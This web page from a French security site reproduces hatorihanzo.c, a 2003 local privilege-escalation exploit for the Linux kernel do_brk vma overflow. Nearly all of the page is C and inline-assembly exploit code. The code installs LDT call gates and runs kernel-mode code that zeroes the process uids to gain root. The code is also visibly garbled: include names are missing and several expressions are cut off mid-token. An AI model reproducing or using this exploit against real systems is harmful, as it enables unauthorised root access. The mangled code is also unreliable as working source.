Linux kernel do_brk vma overflow local root exploit

    
 
/*
                              * hatorihanzo.c
                              * Linux kernel do_brk vma overflow exploit.
                              *
                              * The bug was found by Paul (IhaQueR) Starzetz 
                              *
                              * Further research and exploit development by
                              * Wojciech Purczynski  and Paul Starzetz.
                              *
                              * (c) 2003 Copyright by IhaQueR and cliph. All Rights Reserved.
                              *
                              * COPYING, PRINTING, DISTRIBUTION, MODIFICATION, COMPILATION AND ANY USE
                              * OF PRESENTED CODE IS STRICTLY PROHIBITED.
                              */
                              #define _GNU_SOURCE
                              #include 
                              #include 
                              #include 
                              #include 
                              #include 
                              #include 
                              #include 
                              #include 
                              #include 
                              #include 
                              #include 
                              #include 
                              #include 
                              #include 
                              #include 
                              #include 
                              #include 
                              #include 
                              #include 
                              #include 
                              #include 
                              #define kB * 1024
                              #define MB * 1024 kB
                              #define GB * 1024 MB
                              #define MAGIC 0xdefaced /* I should've patented this number -cliph */
                              #define ENTRY_MAGIC 0
                              #define ENTRY_GATE 2
                              #define ENTRY_CS 4
                              #define ENTRY_DS 6
                              #define CS ((ENTRY_CS uc_mcontext.gregs[REG_ERR];
                              (void)signo;
                              (void)si;
                              error_code = MAP_NOPAGE + (error_code & 1);
                              longjmp(jmp, error_code);
                              }
                              void prepare(void)
                              {
                              struct sigaction sa;
                              sa.sa_sigaction = sigsegv;
                              sa.sa_flags = SA_SIGINFO | SA_NOMASK;
                              sigemptyset(&sa.sa_mask);
                              sigaction(SIGSEGV, &sa, NULL);
                              }
                              int testaddr(unsigned addr)
                              {
                              int val;
                              val = setjmp(jmp);
                              if (val == 0) {
                              asm ("verr (%%eax)" : : "a" (addr));
                              return MAP_ISPAGE;
                              }
                              return val;
                              }
                              #define map_pages (((TOP_ADDR - task_size) + PAGE_SIZE - 1) / PAGE_SIZE)
                              #define map_size (map_pages + 8*sizeof(unsigned) - 1) / (8*sizeof(unsigned))
                              #define next(u, b) do { if ((b = 2*b) == 0) { b = 1; u++; } } while(0)
                              void map(unsigned * map)
                              {
                              unsigned addr = task_size;
                              unsigned bit = 1;
                              prepare();
                              while (addr > 16;
                              l.limit = MAGIC & 0xffff;
                              if (modify_ldt(1, &l, sizeof(l)) == -1)
                              fatal("Unable to set up LDT");
                              l.entry_number = ENTRY_MAGIC / 2;
                              if (modify_ldt(1, &l, sizeof(l)) == -1)
                              fatal("Unable to set up LDT");
                              find(m);
                              }
                              asmlinkage void kernel(unsigned * task)
                              {
                              unsigned * addr = task;
                              /* looking for uids */
                              while (addr[0] != uid || addr[1] != uid ||
                              addr[2] != uid || addr[3] != uid)
                              addr++;
                              addr[0] = addr[1] = addr[2] = addr[3] = 0; /* uids */
                              addr[4] = addr[5] = addr[6] = addr[7] = 0; /* uids */
                              addr[8] = 0;
                              /* looking for vma */
                              for (addr = (unsigned *) task_size; addr; addr++) {
                              if (addr[0] >= task_size && addr[1] = task_size) {
                              addr[2] = task_size - PAGE_SIZE;
                              addr = (unsigned *) addr[3];
                              addr[1] = task_size - PAGE_SIZE;
                              addr[2] = task_size;
                              break;
                              }
                              }
                              }
                              void kcode(void);
                              #define __str(s) #s
                              #define str(s) __str(s)
                              void __kcode(void)
                              {
                              asm(
                              "kcode: \n"
                              " pusha \n"
                              " pushl %es \n"
                              " pushl %ds \n"
                              " movl $(" str(DS) ") ,%edx \n"
                              " movl %edx,%es \n"
                              " movl %edx,%ds \n"
                              " movl $0xffffe000,%eax \n"
                              " andl %esp,%eax \n"
                              " pushl %eax \n"
                              " call kernel \n"
                              " addl $4, %esp \n"
                              " popl %ds \n"
                              " popl %es \n"
                              " popa \n"
                              " lret \n"
                              );
                              }
                              void knockout(void)
                              {
                              unsigned * addr = (unsigned *) address;
                              if (mprotect(addr, PAGE_SIZE, PROT_READ|PROT_WRITE) == -1)
                              fatal("Unable to change page protection");
                              errno = ESRCH;
                              if (addr[ENTRY_MAGIC] != MAGIC)
                              fatal("Invalid LDT entry");
                              /* setting call gate and privileged descriptors */
                              addr[ENTRY_GATE+0] = ((unsigned)CS 
                              

 Audits de Sécurité & Tests Intrusifs Mailing Listes Advisories  Service Publicitaire

Tous droits réservés © 2002-2004 K-OTiK Security Voir Notice Légale   

actualité informatique  Exploits